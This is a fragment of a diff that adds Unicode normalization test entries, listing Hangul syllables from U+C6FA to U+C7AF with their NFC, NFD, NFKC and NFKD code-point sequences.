+{ source: [0xC6FA], NFC: [0xC6FA], NFD: [0x110B, 0x1170, 0x11B9], NFKC: [0xC6FA], NFKD: [0x110B, 0x1170, 0x11B9] },
+{ source: [0xC6FB], NFC: [0xC6FB], NFD: [0x110B, 0x1170, 0x11BA], NFKC: [0xC6FB], NFKD: [0x110B, 0x1170, 0x11BA] },
+{ source: [0xC6FC], NFC: [0xC6FC], NFD: [0x110B, 0x1170, 0x11BB], NFKC: [0xC6FC], NFKD: [0x110B, 0x1170, 0x11BB] },
+{ source: [0xC6FD], NFC: [0xC6FD], NFD: [0x110B, 0x1170, 0x11BC], NFKC: [0xC6FD], NFKD: [0x110B, 0x1170, 0x11BC] },
+{ source: [0xC6FE], NFC: [0xC6FE], NFD: [0x110B, 0x1170, 0x11BD], NFKC: [0xC6FE], NFKD: [0x110B, 0x1170, 0x11BD] },
+{ source: [0xC6FF], NFC: [0xC6FF], NFD: [0x110B, 0x1170, 0x11BE], NFKC: [0xC6FF], NFKD: [0x110B, 0x1170, 0x11BE] },
+{ source: [0xC700], NFC: [0xC700], NFD: [0x110B, 0x1170, 0x11BF], NFKC: [0xC700], NFKD: [0x110B, 0x1170, 0x11BF] },
+{ source: [0xC701], NFC: [0xC701], NFD: [0x110B, 0x1170, 0x11C0], NFKC: [0xC701], NFKD: [0x110B, 0x1170, 0x11C0] },
+{ source: [0xC702], NFC: [0xC702], NFD: [0x110B, 0x1170, 0x11C1], NFKC: [0xC702], NFKD: [0x110B, 0x1170, 0x11C1] },
+{ source: [0xC703], NFC: [0xC703], NFD: [0x110B, 0x1170, 0x11C2], NFKC: [0xC703], NFKD: [0x110B, 0x1170, 0x11C2] },
+{ source: [0xC704], NFC: [0xC704], NFD: [0x110B, 0x1171], NFKC: [0xC704], NFKD: [0x110B, 0x1171] },
+{ source: [0xC705], NFC: [0xC705], NFD: [0x110B, 0x1171, 0x11A8], NFKC: [0xC705], NFKD: [0x110B, 0x1171, 0x11A8] },
+{ source: [0xC706], NFC: [0xC706], NFD: [0x110B, 0x1171, 0x11A9], NFKC: [0xC706], NFKD: [0x110B, 0x1171, 0x11A9] },
+{ source: [0xC707], NFC: [0xC707], NFD: [0x110B, 0x1171, 0x11AA], NFKC: [0xC707], NFKD: [0x110B, 0x1171, 0x11AA] },
+{ source: [0xC708], NFC: [0xC708], NFD: [0x110B, 0x1171, 0x11AB], NFKC: [0xC708], NFKD: [0x110B, 0x1171, 0x11AB] },
+{ source: [0xC709], NFC: [0xC709], NFD: [0x110B, 0x1171, 0x11AC], NFKC: [0xC709], NFKD: [0x110B, 0x1171, 0x11AC] },
+{ source: [0xC70A], NFC: [0xC70A], NFD: [0x110B, 0x1171, 0x11AD], NFKC: [0xC70A], NFKD: [0x110B, 0x1171, 0x11AD] },
+{ source: [0xC70B], NFC: [0xC70B], NFD: [0x110B, 0x1171, 0x11AE], NFKC: [0xC70B], NFKD: [0x110B, 0x1171, 0x11AE] },
+{ source: [0xC70C], NFC: [0xC70C], NFD: [0x110B, 0x1171, 0x11AF], NFKC: [0xC70C], NFKD: [0x110B, 0x1171, 0x11AF] },
+{ source: [0xC70D], NFC: [0xC70D], NFD: [0x110B, 0x1171, 0x11B0], NFKC: [0xC70D], NFKD: [0x110B, 0x1171, 0x11B0] },
+{ source: [0xC70E], NFC: [0xC70E], NFD: [0x110B, 0x1171, 0x11B1], NFKC: [0xC70E], NFKD: [0x110B, 0x1171, 0x11B1] },
+{ source: [0xC70F], NFC: [0xC70F], NFD: [0x110B, 0x1171, 0x11B2], NFKC: [0xC70F], NFKD: [0x110B, 0x1171, 0x11B2] },
+{ source: [0xC710], NFC: [0xC710], NFD: [0x110B, 0x1171, 0x11B3], NFKC: [0xC710], NFKD: [0x110B, 0x1171, 0x11B3] },
+{ source: [0xC711], NFC: [0xC711], NFD: [0x110B, 0x1171, 0x11B4], NFKC: [0xC711], NFKD: [0x110B, 0x1171, 0x11B4] },
+{ source: [0xC712], NFC: [0xC712], NFD: [0x110B, 0x1171, 0x11B5], NFKC: [0xC712], NFKD: [0x110B, 0x1171, 0x11B5] },
+{ source: [0xC713], NFC: [0xC713], NFD: [0x110B, 0x1171, 0x11B6], NFKC: [0xC713], NFKD: [0x110B, 0x1171, 0x11B6] },
+{ source: [0xC714], NFC: [0xC714], NFD: [0x110B, 0x1171, 0x11B7], NFKC: [0xC714], NFKD: [0x110B, 0x1171, 0x11B7] },
+{ source: [0xC715], NFC: [0xC715], NFD: [0x110B, 0x1171, 0x11B8], NFKC: [0xC715], NFKD: [0x110B, 0x1171, 0x11B8] },
+{ source: [0xC716], NFC: [0xC716], NFD: [0x110B, 0x1171, 0x11B9], NFKC: [0xC716], NFKD: [0x110B, 0x1171, 0x11B9] },
+{ source: [0xC717], NFC: [0xC717], NFD: [0x110B, 0x1171, 0x11BA], NFKC: [0xC717], NFKD: [0x110B, 0x1171, 0x11BA] },
+{ source: [0xC718], NFC: [0xC718], NFD: [0x110B, 0x1171, 0x11BB], NFKC: [0xC718], NFKD: [0x110B, 0x1171, 0x11BB] },
+{ source: [0xC719], NFC: [0xC719], NFD: [0x110B, 0x1171, 0x11BC], NFKC: [0xC719], NFKD: [0x110B, 0x1171, 0x11BC] },
+{ source: [0xC71A], NFC: [0xC71A], NFD: [0x110B, 0x1171, 0x11BD], NFKC: [0xC71A], NFKD: [0x110B, 0x1171, 0x11BD] },
+{ source: [0xC71B], NFC: [0xC71B], NFD: [0x110B, 0x1171, 0x11BE], NFKC: [0xC71B], NFKD: [0x110B, 0x1171, 0x11BE] },
+{ source: [0xC71C], NFC: [0xC71C], NFD: [0x110B, 0x1171, 0x11BF], NFKC: [0xC71C], NFKD: [0x110B, 0x1171, 0x11BF] },
+{ source: [0xC71D], NFC: [0xC71D], NFD: [0x110B, 0x1171, 0x11C0], NFKC: [0xC71D], NFKD: [0x110B, 0x1171, 0x11C0] },
+{ source: [0xC71E], NFC: [0xC71E], NFD: [0x110B, 0x1171, 0x11C1], NFKC: [0xC71E], NFKD: [0x110B, 0x1171, 0x11C1] },
+{ source: [0xC71F], NFC: [0xC71F], NFD: [0x110B, 0x1171, 0x11C2], NFKC: [0xC71F], NFKD: [0x110B, 0x1171, 0x11C2] },
+{ source: [0xC720], NFC: [0xC720], NFD: [0x110B, 0x1172], NFKC: [0xC720], NFKD: [0x110B, 0x1172] },
+{ source: [0xC721], NFC: [0xC721], NFD: [0x110B, 0x1172, 0x11A8], NFKC: [0xC721], NFKD: [0x110B, 0x1172, 0x11A8] },
+{ source: [0xC722], NFC: [0xC722], NFD: [0x110B, 0x1172, 0x11A9], NFKC: [0xC722], NFKD: [0x110B, 0x1172, 0x11A9] },
+{ source: [0xC723], NFC: [0xC723], NFD: [0x110B, 0x1172, 0x11AA], NFKC: [0xC723], NFKD: [0x110B, 0x1172, 0x11AA] },
+{ source: [0xC724], NFC: [0xC724], NFD: [0x110B, 0x1172, 0x11AB], NFKC: [0xC724], NFKD: [0x110B, 0x1172, 0x11AB] },
+{ source: [0xC725], NFC: [0xC725], NFD: [0x110B, 0x1172, 0x11AC], NFKC: [0xC725], NFKD: [0x110B, 0x1172, 0x11AC] },
+{ source: [0xC726], NFC: [0xC726], NFD: [0x110B, 0x1172, 0x11AD], NFKC: [0xC726], NFKD: [0x110B, 0x1172, 0x11AD] },
+{ source: [0xC727], NFC: [0xC727], NFD: [0x110B, 0x1172, 0x11AE], NFKC: [0xC727], NFKD: [0x110B, 0x1172, 0x11AE] },
+{ source: [0xC728], NFC: [0xC728], NFD: [0x110B, 0x1172, 0x11AF], NFKC: [0xC728], NFKD: [0x110B, 0x1172, 0x11AF] },
+{ source: [0xC729], NFC: [0xC729], NFD: [0x110B, 0x1172, 0x11B0], NFKC: [0xC729], NFKD: [0x110B, 0x1172, 0x11B0] },
+{ source: [0xC72A], NFC: [0xC72A], NFD: [0x110B, 0x1172, 0x11B1], NFKC: [0xC72A], NFKD: [0x110B, 0x1172, 0x11B1] },
+{ source: [0xC72B], NFC: [0xC72B], NFD: [0x110B, 0x1172, 0x11B2], NFKC: [0xC72B], NFKD: [0x110B, 0x1172, 0x11B2] },
+{ source: [0xC72C], NFC: [0xC72C], NFD: [0x110B, 0x1172, 0x11B3], NFKC: [0xC72C], NFKD: [0x110B, 0x1172, 0x11B3] },
+{ source: [0xC72D], NFC: [0xC72D], NFD: [0x110B, 0x1172, 0x11B4], NFKC: [0xC72D], NFKD: [0x110B, 0x1172, 0x11B4] },
+{ source: [0xC72E], NFC: [0xC72E], NFD: [0x110B, 0x1172, 0x11B5], NFKC: [0xC72E], NFKD: [0x110B, 0x1172, 0x11B5] },
+{ source: [0xC72F], NFC: [0xC72F], NFD: [0x110B, 0x1172, 0x11B6], NFKC: [0xC72F], NFKD: [0x110B, 0x1172, 0x11B6] },
+{ source: [0xC730], NFC: [0xC730], NFD: [0x110B, 0x1172, 0x11B7], NFKC: [0xC730], NFKD: [0x110B, 0x1172, 0x11B7] },
+{ source: [0xC731], NFC: [0xC731], NFD: [0x110B, 0x1172, 0x11B8], NFKC: [0xC731], NFKD: [0x110B, 0x1172, 0x11B8] },
+{ source: [0xC732], NFC: [0xC732], NFD: [0x110B, 0x1172, 0x11B9], NFKC: [0xC732], NFKD: [0x110B, 0x1172, 0x11B9] },
+{ source: [0xC733], NFC: [0xC733], NFD: [0x110B, 0x1172, 0x11BA], NFKC: [0xC733], NFKD: [0x110B, 0x1172, 0x11BA] },
+{ source: [0xC734], NFC: [0xC734], NFD: [0x110B, 0x1172, 0x11BB], NFKC: [0xC734], NFKD: [0x110B, 0x1172, 0x11BB] },
+{ source: [0xC735], NFC: [0xC735], NFD: [0x110B, 0x1172, 0x11BC], NFKC: [0xC735], NFKD: [0x110B, 0x1172, 0x11BC] },
+{ source: [0xC736], NFC: [0xC736], NFD: [0x110B, 0x1172, 0x11BD], NFKC: [0xC736], NFKD: [0x110B, 0x1172, 0x11BD] },
+{ source: [0xC737], NFC: [0xC737], NFD: [0x110B, 0x1172, 0x11BE], NFKC: [0xC737], NFKD: [0x110B, 0x1172, 0x11BE] },
+{ source: [0xC738], NFC: [0xC738], NFD: [0x110B, 0x1172, 0x11BF], NFKC: [0xC738], NFKD: [0x110B, 0x1172, 0x11BF] },
+{ source: [0xC739], NFC: [0xC739], NFD: [0x110B, 0x1172, 0x11C0], NFKC: [0xC739], NFKD: [0x110B, 0x1172, 0x11C0] },
+{ source: [0xC73A], NFC: [0xC73A], NFD: [0x110B, 0x1172, 0x11C1], NFKC: [0xC73A], NFKD: [0x110B, 0x1172, 0x11C1] },
+{ source: [0xC73B], NFC: [0xC73B], NFD: [0x110B, 0x1172, 0x11C2], NFKC: [0xC73B], NFKD: [0x110B, 0x1172, 0x11C2] },
+{ source: [0xC73C], NFC: [0xC73C], NFD: [0x110B, 0x1173], NFKC: [0xC73C], NFKD: [0x110B, 0x1173] },
+{ source: [0xC73D], NFC: [0xC73D], NFD: [0x110B, 0x1173, 0x11A8], NFKC: [0xC73D], NFKD: [0x110B, 0x1173, 0x11A8] },
+{ source: [0xC73E], NFC: [0xC73E], NFD: [0x110B, 0x1173, 0x11A9], NFKC: [0xC73E], NFKD: [0x110B, 0x1173, 0x11A9] },
+{ source: [0xC73F], NFC: [0xC73F], NFD: [0x110B, 0x1173, 0x11AA], NFKC: [0xC73F], NFKD: [0x110B, 0x1173, 0x11AA] },
+{ source: [0xC740], NFC: [0xC740], NFD: [0x110B, 0x1173, 0x11AB], NFKC: [0xC740], NFKD: [0x110B, 0x1173, 0x11AB] },
+{ source: [0xC741], NFC: [0xC741], NFD: [0x110B, 0x1173, 0x11AC], NFKC: [0xC741], NFKD: [0x110B, 0x1173, 0x11AC] },
+{ source: [0xC742], NFC: [0xC742], NFD: [0x110B, 0x1173, 0x11AD], NFKC: [0xC742], NFKD: [0x110B, 0x1173, 0x11AD] },
+{ source: [0xC743], NFC: [0xC743], NFD: [0x110B, 0x1173, 0x11AE], NFKC: [0xC743], NFKD: [0x110B, 0x1173, 0x11AE] },
+{ source: [0xC744], NFC: [0xC744], NFD: [0x110B, 0x1173, 0x11AF], NFKC: [0xC744], NFKD: [0x110B, 0x1173, 0x11AF] },
+{ source: [0xC745], NFC: [0xC745], NFD: [0x110B, 0x1173, 0x11B0], NFKC: [0xC745], NFKD: [0x110B, 0x1173, 0x11B0] },
+{ source: [0xC746], NFC: [0xC746], NFD: [0x110B, 0x1173, 0x11B1], NFKC: [0xC746], NFKD: [0x110B, 0x1173, 0x11B1] },
+{ source: [0xC747], NFC: [0xC747], NFD: [0x110B, 0x1173, 0x11B2], NFKC: [0xC747], NFKD: [0x110B, 0x1173, 0x11B2] },
+{ source: [0xC748], NFC: [0xC748], NFD: [0x110B, 0x1173, 0x11B3], NFKC: [0xC748], NFKD: [0x110B, 0x1173, 0x11B3] },
+{ source: [0xC749], NFC: [0xC749], NFD: [0x110B, 0x1173, 0x11B4], NFKC: [0xC749], NFKD: [0x110B, 0x1173, 0x11B4] },
+{ source: [0xC74A], NFC: [0xC74A], NFD: [0x110B, 0x1173, 0x11B5], NFKC: [0xC74A], NFKD: [0x110B, 0x1173, 0x11B5] },
+{ source: [0xC74B], NFC: [0xC74B], NFD: [0x110B, 0x1173, 0x11B6], NFKC: [0xC74B], NFKD: [0x110B, 0x1173, 0x11B6] },
+{ source: [0xC74C], NFC: [0xC74C], NFD: [0x110B, 0x1173, 0x11B7], NFKC: [0xC74C], NFKD: [0x110B, 0x1173, 0x11B7] },
+{ source: [0xC74D], NFC: [0xC74D], NFD: [0x110B, 0x1173, 0x11B8], NFKC: [0xC74D], NFKD: [0x110B, 0x1173, 0x11B8] },
+{ source: [0xC74E], NFC: [0xC74E], NFD: [0x110B, 0x1173, 0x11B9], NFKC: [0xC74E], NFKD: [0x110B, 0x1173, 0x11B9] },
+{ source: [0xC74F], NFC: [0xC74F], NFD: [0x110B, 0x1173, 0x11BA], NFKC: [0xC74F], NFKD: [0x110B, 0x1173, 0x11BA] },
+{ source: [0xC750], NFC: [0xC750], NFD: [0x110B, 0x1173, 0x11BB], NFKC: [0xC750], NFKD: [0x110B, 0x1173, 0x11BB] },
+{ source: [0xC751], NFC: [0xC751], NFD: [0x110B, 0x1173, 0x11BC], NFKC: [0xC751], NFKD: [0x110B, 0x1173, 0x11BC] },
+{ source: [0xC752], NFC: [0xC752], NFD: [0x110B, 0x1173, 0x11BD], NFKC: [0xC752], NFKD: [0x110B, 0x1173, 0x11BD] },
+{ source: [0xC753], NFC: [0xC753], NFD: [0x110B, 0x1173, 0x11BE], NFKC: [0xC753], NFKD: [0x110B, 0x1173, 0x11BE] },
+{ source: [0xC754], NFC: [0xC754], NFD: [0x110B, 0x1173, 0x11BF], NFKC: [0xC754], NFKD: [0x110B, 0x1173, 0x11BF] },
+{ source: [0xC755], NFC: [0xC755], NFD: [0x110B, 0x1173, 0x11C0], NFKC: [0xC755], NFKD: [0x110B, 0x1173, 0x11C0] },
+{ source: [0xC756], NFC: [0xC756], NFD: [0x110B, 0x1173, 0x11C1], NFKC: [0xC756], NFKD: [0x110B, 0x1173, 0x11C1] },
+{ source: [0xC757], NFC: [0xC757], NFD: [0x110B, 0x1173, 0x11C2], NFKC: [0xC757], NFKD: [0x110B, 0x1173, 0x11C2] },
+{ source: [0xC758], NFC: [0xC758], NFD: [0x110B, 0x1174], NFKC: [0xC758], NFKD: [0x110B, 0x1174] },
+{ source: [0xC759], NFC: [0xC759], NFD: [0x110B, 0x1174, 0x11A8], NFKC: [0xC759], NFKD: [0x110B, 0x1174, 0x11A8] },
+{ source: [0xC75A], NFC: [0xC75A], NFD: [0x110B, 0x1174, 0x11A9], NFKC: [0xC75A], NFKD: [0x110B, 0x1174, 0x11A9] },
+{ source: [0xC75B], NFC: [0xC75B], NFD: [0x110B, 0x1174, 0x11AA], NFKC: [0xC75B], NFKD: [0x110B, 0x1174, 0x11AA] },
+{ source: [0xC75C], NFC: [0xC75C], NFD: [0x110B, 0x1174, 0x11AB], NFKC: [0xC75C], NFKD: [0x110B, 0x1174, 0x11AB] },
+{ source: [0xC75D], NFC: [0xC75D], NFD: [0x110B, 0x1174, 0x11AC], NFKC: [0xC75D], NFKD: [0x110B, 0x1174, 0x11AC] },
+{ source: [0xC75E], NFC: [0xC75E], NFD: [0x110B, 0x1174, 0x11AD], NFKC: [0xC75E], NFKD: [0x110B, 0x1174, 0x11AD] },
+{ source: [0xC75F], NFC: [0xC75F], NFD: [0x110B, 0x1174, 0x11AE], NFKC: [0xC75F], NFKD: [0x110B, 0x1174, 0x11AE] },
+{ source: [0xC760], NFC: [0xC760], NFD: [0x110B, 0x1174, 0x11AF], NFKC: [0xC760], NFKD: [0x110B, 0x1174, 0x11AF] },
+{ source: [0xC761], NFC: [0xC761], NFD: [0x110B, 0x1174, 0x11B0], NFKC: [0xC761], NFKD: [0x110B, 0x1174, 0x11B0] },
+{ source: [0xC762], NFC: [0xC762], NFD: [0x110B, 0x1174, 0x11B1], NFKC: [0xC762], NFKD: [0x110B, 0x1174, 0x11B1] },
+{ source: [0xC763], NFC: [0xC763], NFD: [0x110B, 0x1174, 0x11B2], NFKC: [0xC763], NFKD: [0x110B, 0x1174, 0x11B2] },
+{ source: [0xC764], NFC: [0xC764], NFD: [0x110B, 0x1174, 0x11B3], NFKC: [0xC764], NFKD: [0x110B, 0x1174, 0x11B3] },
+{ source: [0xC765], NFC: [0xC765], NFD: [0x110B, 0x1174, 0x11B4], NFKC: [0xC765], NFKD: [0x110B, 0x1174, 0x11B4] },
+{ source: [0xC766], NFC: [0xC766], NFD: [0x110B, 0x1174, 0x11B5], NFKC: [0xC766], NFKD: [0x110B, 0x1174, 0x11B5] },
+{ source: [0xC767], NFC: [0xC767], NFD: [0x110B, 0x1174, 0x11B6], NFKC: [0xC767], NFKD: [0x110B, 0x1174, 0x11B6] },
+{ source: [0xC768], NFC: [0xC768], NFD: [0x110B, 0x1174, 0x11B7], NFKC: [0xC768], NFKD: [0x110B, 0x1174, 0x11B7] },
+{ source: [0xC769], NFC: [0xC769], NFD: [0x110B, 0x1174, 0x11B8], NFKC: [0xC769], NFKD: [0x110B, 0x1174, 0x11B8] },
+{ source: [0xC76A], NFC: [0xC76A], NFD: [0x110B, 0x1174, 0x11B9], NFKC: [0xC76A], NFKD: [0x110B, 0x1174, 0x11B9] },
+{ source: [0xC76B], NFC: [0xC76B], NFD: [0x110B, 0x1174, 0x11BA], NFKC: [0xC76B], NFKD: [0x110B, 0x1174, 0x11BA] },
+{ source: [0xC76C], NFC: [0xC76C], NFD: [0x110B, 0x1174, 0x11BB], NFKC: [0xC76C], NFKD: [0x110B, 0x1174, 0x11BB] },
+{ source: [0xC76D], NFC: [0xC76D], NFD: [0x110B, 0x1174, 0x11BC], NFKC: [0xC76D], NFKD: [0x110B, 0x1174, 0x11BC] },
+{ source: [0xC76E], NFC: [0xC76E], NFD: [0x110B, 0x1174, 0x11BD], NFKC: [0xC76E], NFKD: [0x110B, 0x1174, 0x11BD] },
+{ source: [0xC76F], NFC: [0xC76F], NFD: [0x110B, 0x1174, 0x11BE], NFKC: [0xC76F], NFKD: [0x110B, 0x1174, 0x11BE] },
+{ source: [0xC770], NFC: [0xC770], NFD: [0x110B, 0x1174, 0x11BF], NFKC: [0xC770], NFKD: [0x110B, 0x1174, 0x11BF] },
+{ source: [0xC771], NFC: [0xC771], NFD: [0x110B, 0x1174, 0x11C0], NFKC: [0xC771], NFKD: [0x110B, 0x1174, 0x11C0] },
+{ source: [0xC772], NFC: [0xC772], NFD: [0x110B, 0x1174, 0x11C1], NFKC: [0xC772], NFKD: [0x110B, 0x1174, 0x11C1] },
+{ source: [0xC773], NFC: [0xC773], NFD: [0x110B, 0x1174, 0x11C2], NFKC: [0xC773], NFKD: [0x110B, 0x1174, 0x11C2] },
+{ source: [0xC774], NFC: [0xC774], NFD: [0x110B, 0x1175], NFKC: [0xC774], NFKD: [0x110B, 0x1175] },
+{ source: [0xC775], NFC: [0xC775], NFD: [0x110B, 0x1175, 0x11A8], NFKC: [0xC775], NFKD: [0x110B, 0x1175, 0x11A8] },
+{ source: [0xC776], NFC: [0xC776], NFD: [0x110B, 0x1175, 0x11A9], NFKC: [0xC776], NFKD: [0x110B, 0x1175, 0x11A9] },
+{ source: [0xC777], NFC: [0xC777], NFD: [0x110B, 0x1175, 0x11AA], NFKC: [0xC777], NFKD: [0x110B, 0x1175, 0x11AA] },
+{ source: [0xC778], NFC: [0xC778], NFD: [0x110B, 0x1175, 0x11AB], NFKC: [0xC778], NFKD: [0x110B, 0x1175, 0x11AB] },
+{ source: [0xC779], NFC: [0xC779], NFD: [0x110B, 0x1175, 0x11AC], NFKC: [0xC779], NFKD: [0x110B, 0x1175, 0x11AC] },
+{ source: [0xC77A], NFC: [0xC77A], NFD: [0x110B, 0x1175, 0x11AD], NFKC: [0xC77A], NFKD: [0x110B, 0x1175, 0x11AD] },
+{ source: [0xC77B], NFC: [0xC77B], NFD: [0x110B, 0x1175, 0x11AE], NFKC: [0xC77B], NFKD: [0x110B, 0x1175, 0x11AE] },
+{ source: [0xC77C], NFC: [0xC77C], NFD: [0x110B, 0x1175, 0x11AF], NFKC: [0xC77C], NFKD: [0x110B, 0x1175, 0x11AF] },
+{ source: [0xC77D], NFC: [0xC77D], NFD: [0x110B, 0x1175, 0x11B0], NFKC: [0xC77D], NFKD: [0x110B, 0x1175, 0x11B0] },
+{ source: [0xC77E], NFC: [0xC77E], NFD: [0x110B, 0x1175, 0x11B1], NFKC: [0xC77E], NFKD: [0x110B, 0x1175, 0x11B1] },
+{ source: [0xC77F], NFC: [0xC77F], NFD: [0x110B, 0x1175, 0x11B2], NFKC: [0xC77F], NFKD: [0x110B, 0x1175, 0x11B2] },
+{ source: [0xC780], NFC: [0xC780], NFD: [0x110B, 0x1175, 0x11B3], NFKC: [0xC780], NFKD: [0x110B, 0x1175, 0x11B3] },
+{ source: [0xC781], NFC: [0xC781], NFD: [0x110B, 0x1175, 0x11B4], NFKC: [0xC781], NFKD: [0x110B, 0x1175, 0x11B4] },
+{ source: [0xC782], NFC: [0xC782], NFD: [0x110B, 0x1175, 0x11B5], NFKC: [0xC782], NFKD: [0x110B, 0x1175, 0x11B5] },
+{ source: [0xC783], NFC: [0xC783], NFD: [0x110B, 0x1175, 0x11B6], NFKC: [0xC783], NFKD: [0x110B, 0x1175, 0x11B6] },
+{ source: [0xC784], NFC: [0xC784], NFD: [0x110B, 0x1175, 0x11B7], NFKC: [0xC784], NFKD: [0x110B, 0x1175, 0x11B7] },
+{ source: [0xC785], NFC: [0xC785], NFD: [0x110B, 0x1175, 0x11B8], NFKC: [0xC785], NFKD: [0x110B, 0x1175, 0x11B8] },
+{ source: [0xC786], NFC: [0xC786], NFD: [0x110B, 0x1175, 0x11B9], NFKC: [0xC786], NFKD: [0x110B, 0x1175, 0x11B9] },
+{ source: [0xC787], NFC: [0xC787], NFD: [0x110B, 0x1175, 0x11BA], NFKC: [0xC787], NFKD: [0x110B, 0x1175, 0x11BA] },
+{ source: [0xC788], NFC: [0xC788], NFD: [0x110B, 0x1175, 0x11BB], NFKC: [0xC788], NFKD: [0x110B, 0x1175, 0x11BB] },
+{ source: [0xC789], NFC: [0xC789], NFD: [0x110B, 0x1175, 0x11BC], NFKC: [0xC789], NFKD: [0x110B, 0x1175, 0x11BC] },
+{ source: [0xC78A], NFC: [0xC78A], NFD: [0x110B, 0x1175, 0x11BD], NFKC: [0xC78A], NFKD: [0x110B, 0x1175, 0x11BD] },
+{ source: [0xC78B], NFC: [0xC78B], NFD: [0x110B, 0x1175, 0x11BE], NFKC: [0xC78B], NFKD: [0x110B, 0x1175, 0x11BE] },
+{ source: [0xC78C], NFC: [0xC78C], NFD: [0x110B, 0x1175, 0x11BF], NFKC: [0xC78C], NFKD: [0x110B, 0x1175, 0x11BF] },
+{ source: [0xC78D], NFC: [0xC78D], NFD: [0x110B, 0x1175, 0x11C0], NFKC: [0xC78D], NFKD: [0x110B, 0x1175, 0x11C0] },
+{ source: [0xC78E], NFC: [0xC78E], NFD: [0x110B, 0x1175, 0x11C1], NFKC: [0xC78E], NFKD: [0x110B, 0x1175, 0x11C1] },
+{ source: [0xC78F], NFC: [0xC78F], NFD: [0x110B, 0x1175, 0x11C2], NFKC: [0xC78F], NFKD: [0x110B, 0x1175, 0x11C2] },
+{ source: [0xC790], NFC: [0xC790], NFD: [0x110C, 0x1161], NFKC: [0xC790], NFKD: [0x110C, 0x1161] },
+{ source: [0xC791], NFC: [0xC791], NFD: [0x110C, 0x1161, 0x11A8], NFKC: [0xC791], NFKD: [0x110C, 0x1161, 0x11A8] },
+{ source: [0xC792], NFC: [0xC792], NFD: [0x110C, 0x1161, 0x11A9], NFKC: [0xC792], NFKD: [0x110C, 0x1161, 0x11A9] },
+{ source: [0xC793], NFC: [0xC793], NFD: [0x110C, 0x1161, 0x11AA], NFKC: [0xC793], NFKD: [0x110C, 0x1161, 0x11AA] },
+{ source: [0xC794], NFC: [0xC794], NFD: [0x110C, 0x1161, 0x11AB], NFKC: [0xC794], NFKD: [0x110C, 0x1161, 0x11AB] },
+{ source: [0xC795], NFC: [0xC795], NFD: [0x110C, 0x1161, 0x11AC], NFKC: [0xC795], NFKD: [0x110C, 0x1161, 0x11AC] },
+{ source: [0xC796], NFC: [0xC796], NFD: [0x110C, 0x1161, 0x11AD], NFKC: [0xC796], NFKD: [0x110C, 0x1161, 0x11AD] },
+{ source: [0xC797], NFC: [0xC797], NFD: [0x110C, 0x1161, 0x11AE], NFKC: [0xC797], NFKD: [0x110C, 0x1161, 0x11AE] },
+{ source: [0xC798], NFC: [0xC798], NFD: [0x110C, 0x1161, 0x11AF], NFKC: [0xC798], NFKD: [0x110C, 0x1161, 0x11AF] },
+{ source: [0xC799], NFC: [0xC799], NFD: [0x110C, 0x1161, 0x11B0], NFKC: [0xC799], NFKD: [0x110C, 0x1161, 0x11B0] },
+{ source: [0xC79A], NFC: [0xC79A], NFD: [0x110C, 0x1161, 0x11B1], NFKC: [0xC79A], NFKD: [0x110C, 0x1161, 0x11B1] },
+{ source: [0xC79B], NFC: [0xC79B], NFD: [0x110C, 0x1161, 0x11B2], NFKC: [0xC79B], NFKD: [0x110C, 0x1161, 0x11B2] },
+{ source: [0xC79C], NFC: [0xC79C], NFD: [0x110C, 0x1161, 0x11B3], NFKC: [0xC79C], NFKD: [0x110C, 0x1161, 0x11B3] },
+{ source: [0xC79D], NFC: [0xC79D], NFD: [0x110C, 0x1161, 0x11B4], NFKC: [0xC79D], NFKD: [0x110C, 0x1161, 0x11B4] },
+{ source: [0xC79E], NFC: [0xC79E], NFD: [0x110C, 0x1161, 0x11B5], NFKC: [0xC79E], NFKD: [0x110C, 0x1161, 0x11B5] },
+{ source: [0xC79F], NFC: [0xC79F], NFD: [0x110C, 0x1161, 0x11B6], NFKC: [0xC79F], NFKD: [0x110C, 0x1161, 0x11B6] },
+{ source: [0xC7A0], NFC: [0xC7A0], NFD: [0x110C, 0x1161, 0x11B7], NFKC: [0xC7A0], NFKD: [0x110C, 0x1161, 0x11B7] },
+{ source: [0xC7A1], NFC: [0xC7A1], NFD: [0x110C, 0x1161, 0x11B8], NFKC: [0xC7A1], NFKD: [0x110C, 0x1161, 0x11B8] },
+{ source: [0xC7A2], NFC: [0xC7A2], NFD: [0x110C, 0x1161, 0x11B9], NFKC: [0xC7A2], NFKD: [0x110C, 0x1161, 0x11B9] },
+{ source: [0xC7A3], NFC: [0xC7A3], NFD: [0x110C, 0x1161, 0x11BA], NFKC: [0xC7A3], NFKD: [0x110C, 0x1161, 0x11BA] },
+{ source: [0xC7A4], NFC: [0xC7A4], NFD: [0x110C, 0x1161, 0x11BB], NFKC: [0xC7A4], NFKD: [0x110C, 0x1161, 0x11BB] },
+{ source: [0xC7A5], NFC: [0xC7A5], NFD: [0x110C, 0x1161, 0x11BC], NFKC: [0xC7A5], NFKD: [0x110C, 0x1161, 0x11BC] },
+{ source: [0xC7A6], NFC: [0xC7A6], NFD: [0x110C, 0x1161, 0x11BD], NFKC: [0xC7A6], NFKD: [0x110C, 0x1161, 0x11BD] },
+{ source: [0xC7A7], NFC: [0xC7A7], NFD: [0x110C, 0x1161, 0x11BE], NFKC: [0xC7A7], NFKD: [0x110C, 0x1161, 0x11BE] },
+{ source: [0xC7A8], NFC: [0xC7A8], NFD: [0x110C, 0x1161, 0x11BF], NFKC: [0xC7A8], NFKD: [0x110C, 0x1161, 0x11BF] },
+{ source: [0xC7A9], NFC: [0xC7A9], NFD: [0x110C, 0x1161, 0x11C0], NFKC: [0xC7A9], NFKD: [0x110C, 0x1161, 0x11C0] },
+{ source: [0xC7AA], NFC: [0xC7AA], NFD: [0x110C, 0x1161, 0x11C1], NFKC: [0xC7AA], NFKD: [0x110C, 0x1161, 0x11C1] },
+{ source: [0xC7AB], NFC: [0xC7AB], NFD: [0x110C, 0x1161, 0x11C2], NFKC: [0xC7AB], NFKD: [0x110C, 0x1161, 0x11C2] },
+{ source: [0xC7AC], NFC: [0xC7AC], NFD: [0x110C, 0x1162], NFKC: [0xC7AC], NFKD: [0x110C, 0x1162] },
+{ source: [0xC7AD], NFC: [0xC7AD], NFD: [0x110C, 0x1162, 0x11A8], NFKC: [0xC7AD], NFKD: [0x110C, 0x1162, 0x11A8] },
+{ source: [0xC7AE], NFC: [0xC7AE], NFD: [0x110C, 0x1162, 0x11A9], NFKC: [0xC7AE], NFKD: [0x110C, 0x1162, 0x11A9] },
+{ source: [0xC7AF], NFC: [0xC7AF], NFD: [0x110C, 0x1162, 0x11AA], NFKC: [0xC7AF], NFKD: [0x110C, 0x1162, 0x11AA] },
